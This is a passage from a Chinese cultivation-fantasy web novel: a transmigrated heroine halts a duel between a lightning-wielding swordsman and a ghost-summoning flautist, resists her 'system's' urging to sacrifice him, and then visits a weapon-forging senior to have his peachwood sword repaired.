她嫌麻烦也没去解释什么,在周围一众唱衰风琅玉的声音持保留意见。 风琅玉和余白这种纯啃老的废物点心不同,她再如何也是风家的人,不可能这么轻易就被打败。 余白也是知道少女的可怕之处才处处忍让—— “来了!” 余白一改先前悠闲自在的模样,将松动的隔音符贴好,又给自己加固了一道定神符。 其他人看着少女这样一副如临大敌的样子,就连旁边的云茯苓也陡然严肃,虽然不知道怎么了,却也还是警惕了起来。 下一秒罡风四起,气息阴冷,呕哑噪杂的笛声依旧刺耳的不堪入耳,但仔细聆听里面又多了一分如泣如诉,不,用鬼哭狼嚎来形容或许更为准确。 但余白和云茯苓不是因为这笛声变得更难听才这样紧张,而是因为风琅玉的笛声唤来的东西。 江厌星早在先前时候就觉察到了风琅玉的不对劲,此刻在感知到了周遭那股不断凝聚的森然鬼气他才明白对方的异常来自什么地方。 这竟是一把驱鬼笛! 那些隔绝,削弱他剑气的不是笛声,是鬼气。 江厌星实在惊讶,在一个名门正派中居然会有修鬼道的修士。 天极宗灵力充盈,万年不冬,一年四季都是春日,即使在最冷的时候也没有像此刻这样一夜入冬般气温骤降过。 不光是温度的突变,四周不知何时氤氲起了雾霭沉沉,整个山头都被笼罩在一片白雾里,好在修者的目力极佳远超常人,因此在这样的环境里并不影响视物,可就是由于不影响才让人感到脊背发凉。 “啊!刚才好像有个黑影飘过去了!” “我也看到了,是仙鹤吗?还是隔壁鸡鸣峰的灵兽跑出来了?” “应该都不是,我看着像是人……等等,你掐我一下,我,我好像看见我太奶了!” “那不是早就殉道多年的李四师兄吗?!还有张三师姐!我勒个天道,这是他们的魂魄吗?” “是笛声!是风师妹的笛声把宗门那些身死道消的师兄师姐们萦绕在宗门未散尽的神魂重新凝聚起来了!师妹,你能不能帮我把我师尊的神魂凝聚一下,我想他老人家了!” ’还有我,我姐姐也死了,麻烦你也帮我叫叫魂让我见她最后一面吧!我不白嫖会给报酬的!“ 这就是风琅玉的特殊能力,她的笛声可以召唤修士神魂,只要是没有完全散于天地的神魂她都能召唤过来,不过这种能力极其耗费灵力和神识,且修为越高的神魂越难召唤,以如今少女的实力顶多越级召唤一个金丹修士的神魂。 余白这么想着,结果下一秒便看到一个金丹修士的神魂被风琅玉粗暴的一脚踢开。”金丹哪里够看!元婴呢?元婴速来!“ 风琅玉一边狼狈的在半空躲避着江厌星的飞剑,一边使劲儿吹笛子,笛声越发杂乱,同时也随着她的灵力耗尽变得越来越小,她也脸色苍白虚弱到连笛子都吹不响的时候,一道逼仄的威压将白雾扫尽,踏空而来。 金色的神魂隐约,只能依稀看到一个执剑的颀长身影。 风琅玉一下子从气若游丝的状态里支棱起来,满血复活了! 元婴,还是个剑修! 天助我也,要什么来什么,虽然只能维持短短的三息不到,但三息对付一个筑基足够了! 风琅玉用笛子指着不远处的江厌星,命令神魂:“给我祭出你最强的一剑!干他!“ 磅礴的神魂如海,倾覆在江厌星的身上,宛若泰山压顶,即使对方只是一缕死去多年的神魂,带来的压迫感比起司徒乾也不遑多让。 但,并不是不能抵挡。 江厌星的感知最为敏锐,知道这样的招式支撑不了多久,只要他引雷凝于剑气,剑气便能增强两倍不止,在对方的剑落斩之前完全可以扛住。 到时候三息一过,对方神魂散去,雷力则会鞭笞在风琅玉身上,虽不至于身死,却也足够让她躺在床上个把月下不了地了。 江厌星没想过对她下这般狠手,只是对方太咄咄逼人,没想过对他留情,他要是不祭出雷落的一剑,修为的差距在那,他绝不可能在元婴修士的一剑之下全身而退。 之后这样做的后果,得罪了得罪了,他这些年得罪的人还不少吗?反正他也还没拜师,来天极宗也不过是应允了齐昭的承诺,把他赶走也没什么所谓,就是余白这傻白甜……啧,算了,她背靠余秋离这座大山,还有她的师兄师姐照拂,哪里需要他来保护,早就已经习惯此方世界乐不思蜀了。 没了顾虑,江厌星双指为剑,剑气凝于指尖,引于眉间,一点血珠沁出,如红豆般落入桃木剑上。 桃木剑在吸收了少年精血的刹那,剑身肉眼可见蔓延出了赤红的色泽,紧接着天空阴霾,乌云翻滚,隐约雷鸣声动,白紫色的雷电丝丝缕缕缠绕在剑上,搅动此方风云。 “?!雷灵根!他竟然是变异雷灵根!” “不,不止,变异雷灵根没有这么强的雷之力,他的灵力都改变天象了,这绝不是普通的雷灵根可以做到的……他肯定还有其他的天赋或者使用了什么灵宝。” 云茯苓也被骤变的天色给惊到了,她夹出一张符箓,上面什么都没画,只有灵气浮动。 符修以万物聚灵落笔,感天地,画苍生,因此他们比起检验资质的玄天石,有时候更加精准敏锐。 若是木属性的灵力接触符箓便是绿色,金属性则为金色。水属性为蓝,每个灵根都有对应的灵力反应,而若是天灵根则是无暇的白,但此时的符箓上却是五颜六色的黑。 “变异天灵根吗,竟然是变异天灵根?!怪不得你那么沉得住气,敢情早知道即使风琅玉召魂也敌不了他是吗?” “不是,你误会了,我不阻止他们是因为我以为他们再如何没有分寸也会见好就收的,至少江小白他不会真的对风琅玉下狠手。” 云茯苓气笑了:“你管这叫不会下狠手?这道雷一旦落下去那个元婴神魂必散,风琅玉不死都得残!“ 余白也汗流浃背了。 她不知道风琅玉会这么虎,更不知道江小白居然这么敢。 如今这个局面一道汇聚天雷之力的一剑,一个元婴残魂的全力一击,谁过去都得喝一壶的。 “我,我去叫长老过来阻止他们!” “来不及了!现在周围都是剑气和雷电,你老实待在这里别乱动,小心误伤!” 云茯苓扔出几道符箓,用来避雷,把余白还有身后的一些弟子护住。 余白急了,朝着天上的两人扯着嗓子大喊:“江小白你停下,别打了,你要多少雷击木我都给你!” “风琅玉你也收了神通吧!” 风琅玉咬牙承受着越阶操控神魂的反噬,疼得脸色煞白,听到余白这话气的吐血:“收个屁!真是站着说话不腰疼,老娘遭了这么大罪才把这神魂招来,我不打回去我这罪不是白受了吗!” 好,好有道理,她竟无法反驳。 一方不收手,另一方更不可能站着挨打。 事后结果好一些是两者虽受了伤却并不严重,不好的话一方伤了内里无法修炼,或者……死,不不不,应该不至于那么惨烈。 余白冷汗潺潺,拼命安慰自己不要胡思乱想,偏偏系统的话打破了她的幻想。 【宿主,快去帮风琅玉!经过空气中的能量波检测数值来看,风琅玉被重创的概率有八成!】 风琅玉是女主之一,她绝不能有事。 但江小白呢,要是她帮了风琅玉他当如何? 【宿主,你还在等什么?这件事本就是因你而起,你要是不想着把江小白当作主角代餐,一开始就制止了事情根本不会发展成这样!路人甲什么的不重要,重要的是女主,是任务!是回家!快,祭出余剑尊给你的那道护体剑意!】 要是事情有那么简单就好了。 余秋离的剑意太强大了,那是一步剑仙的绝顶大能的本命剑意,一念出,一意动,便足以让天地颠倒,山海横断,万物都为之震颤。正是因为威力太可怖,波及太广了,以至于当时在面对司徒乾那样生死一线的时候她都没有选择祭出这道剑意。 若是真祭出了,江小白必死无疑。 少年是个无足轻重的路人甲,死了之后系统可以抹除掉所有人关于他的记忆,一切都可以当做无事发生。 可余白做不到。 什么路人甲不路人甲的,在她看来无论是江小白还是天极宗的大家,都是活生生的人,他们在剧情里没有篇幅不代表他们就不重要。 他们或许对这个世界不重要,但对亲人,友人都是不可替代的存在,而且……江小白无父无母无师,他好像就她一个朋友。 那她更不可能做出那样丧良心的事情啊! 【宿主,你还在等什么?快杀了江小白救风琅玉啊!】 在神魂和剑气快要碰撞在一块儿的时候,余白趁着云茯苓一个不注意拿出青鸢逐月扇朝着自己用力一扇,把自己扇到了两人中间! 【抱歉,伤害朋友的事情我做不到!】 她对系统大喊着,然后往嘴里塞了一把提升灵力的大补丸,拿着灵扇准备一人给对方一扇子,把人给扇飞,强行中止战斗。 但夹在中间的她也不可避免成了缓冲带被两股灵力撕扯,痛肯定很痛,不过她有老祖宗的护体剑意,想死都死不了。 这已经是余白能够想到的保全两人的最优解了。 她欲哭无泪,为什么受伤的总是她? 余白悲愤地举起扇子就要往江厌星扇去,发现少年在看到她冲过来的时候就撤回了剑招,他嘴角染血,显然是被反噬了。 他顾不上疼痛,伸手把余白给捞进怀里,在神魂剑落之前把人牢牢护住。 余白很感动,感动之余又很着急。 因为对方把她抱得太紧,她没办法去挥扇子把神魂连着风琅玉给扇飞。 “江小白,你松,松开我,我要去扇……” “你要去什么?又去送死吗!” 江厌星急吼吼打断了她的话,把她禁锢得更紧了。 余白感受到少年的灵力将她笼罩,由于先前刚被剑气反噬,所以灵气并不足以将两人同时护住,他把大部分灵力都用在了她身上。 余白心下一动,少年虽拦阻了她最佳反击的时候,却也是为了护住她。 风琅玉没想到半路杀出了个余白,更没想到江厌星会在紧要关头收手,本来要是攻击对撞的话大家两败俱伤也就算了,可这样单方面的攻过去没有灵力抵消后果不堪设想。 她这下是真后悔了,然而神魂已祭出了杀招,想收都收不回来了。 风琅玉神情惊恐地看着神魂灵力翻涌,铺天盖地往两人方向袭去,脑子一片空白。 完了。 余白见那虚影执剑挥斩过来瞳孔一缩,电光火石之间心生一计,忙把手中的画拿起,对着神魂就是一挡。 神魂在看见少女的画后灵力紊乱,随之神魂震颤,剑气如同琉璃碎裂,四散开来。 22 第二十二章 云茯苓沉默了,作为见识过余白可怕画技的其他人也沉默了,尤其是这两年入门考核倒霉抽到对方的画测心境的几个弟子。 “……士别三日当刮目相看,没想到余师姐的画技已经精进到可以驱散元婴神魂的地步。” “……真是后生可畏。” “风师妹就简单了吗?这两个加起来一个招鬼一个驱邪,还赶超玉京呢,咱们天极宗的未来真是一眼就望到了头。” “呵呵,还有头吗?未来都没了好吗?” 云茯苓看得要比他们透彻些,余白的画虽然的确有扰乱人心神的作用,但还不足以驱散元婴修士的神魂,也是那神魂本就只差一线便散于天地,和生前的实力全然没法比,但凡他是有意识的,道心不可能如此不稳固,同时更重要的一点是少女体内有余秋离的剑意,即使没有用出来,作为当今第一剑修,没有谁的剑气不被他所压制。 可绕是有再多的原因都改变不了一个事实——余白的画实在恐怖如斯。 余白当时也是抱着赌一把的心态,她想着神魂嘛,反而比有肉身的好攻击多了,尤其是剑修这种悟性很高的反而越容易把她的画看进去了,从而遭受精神攻击,结果还真成了。 余白高兴地扭过头对江厌星说道:“你刚才瞧见了没,那神魂看见我的画就给吓得魂飞魄散了,那可是元婴修士,我竟然那么轻松就把人给……” 她的兴奋劲儿在对上少年那双愠色的眼睛一下子消失了。 “你干嘛这么看着我?” 死里逃生不该高兴吗,怎么他看着反而更生气了? 余白什么也没说,但她什么都写在脸上,江厌星脸色更沉了。 “你就这么想找死?之前秘境你跑进死阵送死,现在你又冲进来,你真以为你是九命猫怎么都死不了吗?” 余白被吼得跟个鹌鹑一样,大气都不敢出。 她见识过少年杀气腾腾的样子,她以为那已经足够恐怖了,没想到对方冷脸的样子竟然比他提剑杀人的时候还要可怕。 而且好熟悉,好像曾经也有人这样凶过她,可那张脸在脑海中十分模糊,如何也想不起来。 这是穿过来的后遗症,随着和此方世界的逐渐融入,关于以前的记忆开始越发不清明了。 余白呆愣愣盯着少年,先前没怎么仔细打量过对方的长相,加上他实在太大众脸了,以至于她对他除了那个和现实世界某牌子一样的名字之外没有任何记忆点。 可这样近距离地观察中她惊讶地发现少年并没有看上去那么普通。 他的眼睛很漂亮,像墨玉,剔透澄澈,眼尾放松的时候微微上挑,此时顺着眉头一并沉下,星辰也似乎也跟着坠下来了。 还有他的嘴唇,颜色和唇形都很红看,像石榴花一样鲜艳,中间好像还有一点唇珠,只是他压着唇角,就有些看不清了。 江厌星咬牙切齿道:”你竟然还敢走神?” 被抓包的余白尴尬地低头,生怕对方发现自己在偷看他。 “我知道你是在担心我,我这不也是担心你吗,所以你不要生气了。” 她神色心虚,一看就知道她根本没有把他的话当回事,偏偏她又拿担心他说事,让他的火气堵在心口上不去下不来。 他深吸了一口气,一字一顿道:“余白,不要再有下次了。” 余白赶紧点头:“嗯嗯,不会了,你也别再那么冲动行事了,以后咱们能躲就躲,能屈能伸,成不?” 江厌星道情绪自始至终都没有被风琅玉影响,他只是单纯护短。 不过最终的确差点儿铸成大错。 “那个……” 余白尴尬提醒:“危机已经解除了,你可以放开我了。” 江厌星一愣,放在少女腰上的手似被烫了般赶紧松开。 余白踩着少年的剑落了地,然后走到风琅玉面前。 少女虽没被剑气所伤,可因为越阶召唤元婴神魂灵力耗尽受到反噬,也没好到哪儿去。 “风师妹,你还好吧?” 余白伸手想要去扶她起来,却被少女啪的打掉了手。 “用不着你假好心!” 风琅玉强撑着站起来,擦掉嘴角的血迹,恶狠狠瞪着她,又越过她瞪着后面的江厌星,放出了一句反派标准名言。 “你们给我等着,我是不会放过你们两个的!” 说完便在她师姐苏清的搀扶下狼狈退场了。 余白叹了口气,摇头道:“都伤成这样了还逞强,真是死要面子活受罪。本来还想给她拿瓶丹药呢,可惜了,无福消受了。” 她将丹药递给江厌星。 江厌星皱眉:“她不要的就给我?” 余白道:“……有就不错了,你还嫌弃上了。今天要不是因为你,我至于被这大小姐迁怒吗?” 一想到之后风琅玉可能还会找她麻烦,她就十分头大。 江厌星倒出一颗丹药扔进嘴里咬碎,清晰的声音透着一点未消的肃杀。 “怕什么?这不还有我吗?” 大哥,就是因为你我才被针对啊。 余白心下吐槽,面上却什么也没说,江厌星似看出她的腹诽冷笑了声。 “之前不知道是谁费尽口舌劝我加入天极宗的,现在发现我资质有缺后悔了,想和我划清关系了?” 这人怎么那么小心眼,不就是先前她们对上的时候没管他吗,她最后不是挺身而出了,唠到现在。 但终归是她理亏,余白也没回嘴,说吧说吧,说几句又不会少块肉。 好在江厌星也就这么阴阳怪气了一句,转而问道:“那个风琅玉为什么那么讨厌你?就只是因为你差点误了她入宗门?” 江厌星以前没穿越的时候看人就很准,如今入道后更是学会了观面相。 这个风琅玉虽然娇纵跋扈,但眼神清明,五官对称,并不是阴毒刻薄之人的长相,顶多属于面恶心善。 余白有些意外于少年的敏锐,抬起手挠了下脸,含糊道:“这个嘛,的确不是主因,只不过是她想要找我麻烦的一个由头。她之所以那么讨厌我,是因为我娘……” 原主的娘早死了,她爹把她交给老祖宗后没过多久也郁郁寡欢跟着一起殉情了。 余白当时知道的时候合理怀疑那个男同学是单纯嫌麻烦不想着墨太多,就直接安排两人狗带了,可事后了解发现原主爹娘的故事一点都不路人甲,还挺跌宕起伏的。 原主的娘出自修真大族白家,名叫白拂,是白家家主之女。 白拂天赋卓绝,悟性极高,是除五大宗外少有的天命者,不出意外她未来必然继承家主之位的,可在她外出求道的时候遇到了原主的爹,也就是余秋离的重孙余褚明。 和资质出众的白拂不同,余褚明的资质一般,只是个双灵根,放在平时白拂都不会给个正眼,偏偏他的太爷爷是余秋离。 当时白拂恰遇瓶颈,想要通过余褚明得到余秋离的指点,结果一来二往这么接触下来把自己给搭进去了。 白拂喜欢上了余褚明,后者也对对方颇有好感,只是在确定道侣关系之前她得先回去把自己和风家的那桩婚事给退了。 没错,和白拂有婚约的就是风琅玉的爹风诀。 原以为这是一桩维系利益的联姻,偏偏风诀是真的心悦白拂。 到这里后头的故事用脚趾头都能猜到,无非就是你爱我我爱她她不爱我的狗血三角恋剧情。 最终以白拂将家主之位让给原主姑姑,带着余褚明游历天下去了。 很潇洒很浪漫的一个故事,只是结局却并不美好。 余秋离树敌众多,那些仇家奈何不了余秋离便把主意打到了余褚明身上,趁他不备在他体内种下了天魔毒。 那是对修士而言无解的剧毒。 前期天魔毒潜伏在身体里难以觉察,以至于白拂也在和余褚明朝夕相处中染上了天魔毒。 白拂没挺过去,生下余白就撒手人寰,身消道陨了,余褚明在得知是自己害了对方,反正时日无多,也随她去了。 说了那么多这似乎和风琅玉讨厌余白没关系,实则不然。 风琅玉的娘是个很特殊的存在,她是风诀的剑灵,剑灵化形的模样多受主人意识影响。 是的,风琅玉的娘的长相和白拂一模一样。 如此,在意外得知自己娘是替身的风琅玉能不讨厌白拂,能不讨厌她吗? 哎,这都是些什么事? 余白简单和江厌星把这些父辈们之间的前尘往事和江厌星说了下,然后叮嘱道:“现在经此一遭你算是彻底和我绑在一条船上了,而且你目前还暂住在万籁峰,之后要是再发生类似今天的事情你别和她对着干,退一步海阔天空,别往她枪口上撞,给她找茬的机会。“ 她爹娘跟风家的事情正天极宗都不是什么秘密,江厌星后面想要打听也能打听到,于是对方问起她也没隐瞒告诉他了。 江厌星在得知真正原因后才点了头。 先前的事情让他们成了人群的焦点,周围汇聚过来的目光让余白很不自在。 “你的雷击木呢?” 江厌星拍了拍腰间的芥子囊,示意东西就在里面。 余白道:“那就好,人都得罪了东西至少也得拿到手。对了,你要去修你的剑是吧,正好我也要去去一趟昆吾峰,咱们一块儿去吧。” 江厌星问道:“你也要修法器?” 余白摇头:“不是,我是有东西要给肖师兄,就是昆吾峰的一个器修师兄,等会儿你就能见到他了,肖师兄人可好了,而且淬炼灵器也很厉害,保证能把你的桃木剑修的和没坏的时候一样。” 江厌星这些年不光是吃百家饭长大,还学百家艺,他天赋不受限制,什么都可以学,他又对什么都感兴趣,所以学的很杂,不光是阵法,炼器也有涉猎。 这种程度的损伤他也是可以修补的用不着去昆吾峰找人修,但听余白这样夸赞对方,他不免也有些好奇,于是便随着她一块儿去了。 昆吾峰在天极峰以南,是除了主峰之外最靠近昆仑山脉主脉的一峰。 那里灵力充盈,地貌复杂,山丘,荒漠,火山,悬崖,应有尽有,这是因为灵力波动太大,所形成的地貌也多样,对于其他修者而言这里适合修行但并不适合居住,但对于器修来说这里很多锻造材料都可以就地取材,简直是天然的锻造场。 余白他们到达的时候天边都已经染上了余晖了,橘红色的霞光将昆吾峰全然笼罩,归巢的飞鸟穿行在晚霞中,一切是那么柔和静谧。 是江厌星自穿越以来少有能体味到的安宁和谐,他有点明白为什么余白会这么喜欢这里,要是他当初也穿到了这里,在环境潜移默化的影响下他或许也会对这里,这里的人产生难以割舍的羁绊。 江厌星的目光越过漂亮的霞光,放在前面踩着仙鹤的少女身上。 她的样子和穿越以前的样子没有太大出入,无非是头发更长,皮肤更白,脸上多了些婴儿肥,不光是脸,她这个人也没什么变化,依旧单纯,依旧乐观,那双眼睛清亮如水,绕是这是一个弱肉强食,充斥着血腥和杀戮的修真世界,由于被保护得很好,所以竟还透着一股独属于学生的清澈和愚蠢,不谙世事,天真无邪。 不像江厌星,他早就变成了一颗外表鲜艳,内里腐烂的苹果,在第一次手染鲜血的时候就已经回不去了。 余白一边飞一边点开系统面板。 她刚才把画提交了,又成功了。 【竟然真的行。】 余白当时也就是抱着试一试的态度,不曾想不仅行,而且是很行。 之前余白打卡名场面的时候主系统给她的评级都很低,最好的成绩也就是“普通”。 可在把江小白当成主角代餐进行的这两次打卡里,她都得到了绝美的评级。 绝丑评级一点积分,普通评级两点,绝美则是四点。 先前临时补充的名场面加上这次,她短短一天不到就从江小白身上薅到了八点积分。 要知道她这一年从齐昭那里统共也就得到了十二点,一人一统都惊了。 【怎么会这样?明明齐昭才是主角,为什么打卡他的名场面积分要比齐昭高那么多?这不科学,这不合理!是不是主系统出bug了?】 毒唯系统怀疑统生。 【这有什么难以置信的?首先,咱们打卡的名场面依旧是主角的名场面,只是拿江小白当走剧情的工具人了而已,因此本质上还是算齐昭的高光片段。第二,江小白虽然是个路人甲,但他的天赋也不输齐昭呀,况且你不觉得他其实比齐昭更有主角气场吗?】 如果是根据这两个来进行打卡的话,以江小白为替身的名场面评级高也正常。 系统沉默了,的确,和齐昭相比江小白除了那张脸和气运不像主角之外,完全就是它心目中的男主形象。 齐昭也不是不好,就是他待人接物都太温和了,爽不起来,也装不下去。 先前系统一直以剧情还在前期,这是先抑后扬,可现在它也有点恍惚了。 一个人的性格是很难改变的,齐昭后期如果改变了还好,要是一直这么和气生财,温润如玉下去,不光是如今的一些互动剧情,后头的各种人前显圣的名场面也是不可能完成的。 那它和余白就危险了。 系统的心态开始有了变化。 【……要不咱们以后逮着江小白的羊毛薅吧。】 巨大的积分诱惑面前,连毒唯如系统也妥协叛变了。 余白没有立刻同意,她顾忌着江小白气运。 今天这样稍微拱火一下就差点造成不可挽回的可怕后果,之后的打卡情节只会更难,更危险。 【还是算了,咱们顺其自然,要是没什么危险的可以让他来顶替下,其他的就还是得靠齐昭。】 余白和系统有一搭没一搭聊着,什么时候到了昆吾峰都没发现,还是江厌星提醒才意识到。 “想什么呢,一路上都在神游太虚。” 余白含糊回道:“唔,没什么,就是在想这么晚过去会不会打扰肖师兄。” 修士不怎么需要睡觉,即使休息也是在运转周天,吸收天地灵气,不存在去得太晚打扰到对方的情况。 江厌星也没拆穿余白的借口,跟着她进了那个所谓的器修天才的洞府。 一般修者都会在自己的地盘设置结界,这个肖扶山也不例外。 他走到洞府口的时候就感知到了一股灼热的灵力气息。 “余白,等……” 江厌星正要提醒她这里有结界,下一秒便看到对方毫无阻碍地进了洞府。 “嗯?你说什么?” 他默然盯着那道结界,又看向一脸茫然的少女。 “……这里有结界,我进不去。” 余白拍了下额头,说道:“呀,对,我怎么把这事忘了,你没有肖师兄的允许进不去。你等一下,我去叫肖师兄给你解开禁制。” 她刚抬脚,一道清润的声音从洞府里面传来。 “师妹,别来无恙啊。” 23 第二十三章 空气中因为少年无形装叉而陷入了诡异的沉默。 肖扶山这才真正拿正眼打量起眼前这个平平无奇的剑修,然后视线移到了一旁的余白身上。 余白看懂了他眼神的询问。 ——保真吗? 余白点头如捣蒜。 ——包的包的。 就是有点缺陷,但小问题。 毕竟这家伙强的可怕,有缺陷没气运都能在同龄人中一骑绝尘,真是恐怖如斯。 天雷火是众火之首,变异雷灵根能够使用的雷之力大部分都是通过自身灵力转化而成的雷属性灵力,能吸收到天地灵气而转化成天雷之力的只有不到两成。 而变异天灵根恰恰相反。 且天雷之火可以烧尽一切杂质,若是江厌星是个器修或者丹修,无论是炼器还是炼丹对他都可谓是信手拈来。 肖扶山酸了。 余白哪里看不出自家师兄的“嫉妒”,忙出声转移话题:“对了师兄,修复这把桃木剑要多少钱啊?我给你。” 江厌星拦住了她,温声道:“我说了我有钱。” 他又问肖扶山:“肖师兄,既然由我提供火和灵材,那修复的钱可否便宜几成?” 肖扶山看着少年,缓缓露出了一个微笑,声音也轻柔如春风。 “好说好说,咱们都是同门,况且你还是师妹的朋友,谈钱就俗了。但什么都不要的话又怕你有心理负担,这样吧,日后我锻造高阶法器的时候可能会需要用到你的天雷火……” 江厌星哪有不明白的,回以同样的微笑:“我若有能帮得上肖师兄的地方,自然不会推辞。” 两个心眼比筛子还多的人在谈笑间达成了共识。 余白将拿出的灵石放回去,默默退后了点和他们拉开距离。 明明只是谈交易,她总觉得脊背发凉。 一码归一码,肖扶山馋少年的天雷火是一回事,这不代表他放心让余白跟他接触。 器修大多都是男子,昆吾峰从他师尊师叔到同门清一色的都是如此,倒是前两年来了个小师妹,可小师妹并不喜锻造,只是天赋太好被奉藏长老给从凡间抓回来的。 小师妹无父无母,没什么凡尘牵挂,也就拜了师,但她太聪慧了,什么都一点就透,因此对修行没什么敬畏,去年打着要闭关突破的由头在洞府里摆烂了一年,出来时候人都胖了一圈。 肖扶山一直都想要将器之一道发扬光大,奈何有天赋者摆烂,没天赋者努力了也没用,更重要的是天极宗是剑道丹道两家独大,新弟子们都奔着这两道去了,再者便是符道,法道,总而言之实在到了没选择了他们才会苦哈哈地选择最苦最累的器道。 这让肖扶山十分困扰。 直到一日余白迷路撞到了他的结界,那时昆吾峰又有弟子转道去了其他峰,他心情正烦躁,对她态度也不是很好,余白以为是自己闯了结界冒犯到了他,赶忙赔罪,问他自己要怎么做才能原谅她。 肖扶山没想过她能帮上自己什么,便只让她赶紧走别在他面前碍眼。 余白忐忑地离开了,然后过了几日她带了一群弟子过来。 她说这些都是对器道感兴趣的弟子,让他看看里面有没有适合修器的好苗子。 好苗子自然是没有的,要是有他早给拐回来了,但肖扶山那一天给他们讲了整整一天的道,那一双双望向他的仰慕和求知的眼神让他深感慰藉。 更让他惊喜的是隔天他发现自己竟然突破了瓶颈。 自那之后,肖扶山就把余白当自己人了。 哪怕余白资质平平,哪怕她也和那个小师妹一样摆烂玩乐,哪怕她花钱大手大脚,哪怕她和沈宿眠那个讨厌鬼交好,在他眼里对方都是世上顶顶好的师妹。 他看得出来余白对江小白没意思,就当普通朋友,但后者就不一定了。 一般天赋出众者都有些傲气,他们慕强,眼高于顶,即使是肖扶山也不例外。 更何况江小白还是个剑修,那他和余白交好的原因就是司马昭之心了。 退一万步来说江小白没有存利用余白接近余秋离的想法,他这种人也绝不适合和少女深交。 剑下走生魂,眉间主煞星。 这种人也是他入了道,换作普通凡人他早不知道死多少回了,余白跟着他处久了也会倒大霉的。 和掌门师叔玄霄的相面一术相比,他这点儿只能算皮毛,他都能一眼看出来的对方不可能瞧不出。 以玄霄的修为少年这点霉运影响不了他什么,但他担心影响到他宝贝徒弟齐昭,估计是不可能会收下他,而其他的长老和真人,要么是不收徒了,要么无福消受。 “你应该还没拜师吧?” 江厌星点头:“不过宗主说给我引荐了位刀修前辈。” 肖扶山眼皮一跳:“你说的那位刀修前辈该不会是谢斩吧?” 江厌星见他表情不对,反问:“有什么问题吗?” “有什么问题?问题可太大了,你知道他是以杀入道的吗?哦不,你也和他差不离了,这不是重点,重点是他可是弑过……” “肖师兄!” 余白发出爆鸣打断了肖扶山。 肖扶山脸色更臭了:“你不是他朋友吗,没跟他说?” 余白解释道:“我不是不想同他说,可这事还没个着落呢,宗主既也没说那就说明他是要等谢前辈亲自告诉他,若是没收下小白师弟那这件事就也没有他知晓的必要了。” 谢斩什么脾气,当年的事情知之甚少,宗主他们也就算了,小辈中要是有人妄议他的事情,他可是不会轻易姑息的。 肖扶山也明白了余白的好意,脸色缓了缓:“抱歉师妹,是我没控制好情绪。” “没没,师兄也是关心小白师弟。” 江厌星很讨厌这种打哑迷的对话,脸上肉眼可见有些烦躁。 余白觉察到了,安抚道:“你放心,收徒是个双向选择,不会出现什么因为隐瞒了什么把你坑了的情况。谢前辈收司徒苍为徒的时候就将自己的过往和盘托出,让他做了选择。” “也没必要非在谢斩这棵树上吊死,你是变异天灵根,修什么道都容易,要不考虑下我师尊?你知道齐春秋吗,就是齐昭他爹,他那把本命剑斩尽天下真龙,上头有无数龙魂怨气,连灵禅总的那位佛子都度化不了,最终还是我师尊出马锻造了一把可以扼制怨气的剑鞘,不然他早就被本命剑反噬了。” 肖扶山提起这桩旧事与有荣焉。 他之所以提议让少年拜入昆吾峰,一是起了惜才之心,二是想要把人放在自己眼皮底下盯着,让他少打余白的主意。 “怎么样?有没有兴趣加入昆吾峰?你要是成为我的师弟别说这把桃木剑了,哪怕给你修一万把剑我也分文不取。” 江厌星想没想便拒绝了:“承蒙肖师兄厚爱,比起器道我还是更想修刀剑一道。” 肖扶山心下失落又失望,叹了口气道:“果然如此,你们这些弟子都喜剑道刀流一脉,没几个想静下心修器的。” 他把少年选择前者归结于和其他弟子一样都觉得剑道之流要更威风,更人前显圣,少年人大都如此,连入道也要招摇些。 江厌星不是一个喜欢和人解释的性子,只是对方真心邀请他入昆吾,他不能接受总也不好教人寒心,让对方误以为自己看轻器道,辜负他的一番好心。 “肖师兄你误会了,天下道在我眼中并无高下之分,剑道是,刀流是,造器亦是。只是我和你们不同,你们入道是为道途,求长生。哪个灵根更适合修行什么道法便选择什么,可我不是。” 他低头看向自己布满薄茧的手,冷白的雪色上是如何也洗不掉的殷红粘腻。 “我入道是为己,为与天争命。” 江厌星此言一出,洞府比先前他无形装叉时候还要安静。 只是之前是无语居多,这回则是给震住了。 尤其是系统,整个统激动的都要短路了。 【啊啊啊哦哦哦嗷嗷嗷,这是什么大男主台词,我命由我不由天,太帅了!一个路人甲怎么能这么帅?我都要被帅得腿软了!】 别说,你还这真别说,要是男频大男主文里主角是这么装叉的,那读者爽到头皮发麻也正常。 别说系统这个主角毒唯了,就连余白都有点被圈粉了。 同时对这个命途多舛的少年更多了几分同情和钦佩。 在这个以男主为中心的世界里,江小白这种天赋比肩男主的路人甲就连入道都是为了在天道底下争夺一线生机。 有句话怎么说来着?人的快乐是建立在别人的痛苦之上,尽管余白并没有因为少年过得惨而感到幸灾乐祸,但怎么说呢,她或多或少还是感到些微的安慰。 她以为自己好好的一个大好青年倒霉穿到这里,还被迫绑定系统做任务已经很命苦了,和对方相比,她这日子简直过得跟蜜里调油似的。 余白这人十分感情用事,心肠又软,脑补了一大堆少年这些年颠沛流离,险象环生的悲惨遭遇后拍着胸口豪情仗义打包票道:“小白师弟,往事暗沉不可追,来日之路必当光辉灿烂,如今你已入了天极宗,咱们就是自己人了,以后你有什么需要的或者又谁不长眼欺负了你你尽管告诉我,我一定罩着你!有福同享有难同当,有我余白一口肉就少不了你一口汤喝!“ 江厌星抬眼:“真的?” 余白点头:“自然!” 他深深看了余白一眼,带着不信任:“我不信,之前你前脚才说我们已经是朋友了,后脚你看到我和风琅玉起冲突了就溜之大吉了,万一这回又是匡我呢?” 余白心虚地“呃”了声,辩解道:“我最后不是还是挺身而出了吗?男子汉的别那么斤斤计较。” 江厌星还在看她,余白特受不了他这样,嚷嚷道:“那你要怎么才相信?发誓吗?” 江厌星还没回答,肖扶山急吼吼打断:“发什么誓?多大点儿事还搞上天道誓言了,真是小题大做!” 他说着瞪了余白一眼,这个傻师妹,人三言两语这么一激就被人拿捏牵着鼻子走了,还发誓?今日被人忽悠的发誓罩着他,明日是不是就得被他骗得承诺三生石前,不离不弃了? 肖扶山虽也同情江厌星这煞星气运,可他更偏心余白。 “好了,既如此我也不强求了,且祝愿你道途顺遂,早日改命了。” 他不动声色走到两人中间隔绝开来,手腕一翻,掌心出现了一方巴掌大的紫金小鼎。 “诺,借把火。” 江厌星抬手覆上小鼎,“欻”的一下,一团白紫色的天雷火出现在了小鼎之中。 那鼎是用特殊材料制成,无论是凡火还是灵火,汇于其中风吹不灭水浇不熄,可以长久保存。 拿到了心心念念的天雷火的肖扶山喜滋滋,清俊到有些秀丽的脸上因为愉悦显得更加顾盼生辉。 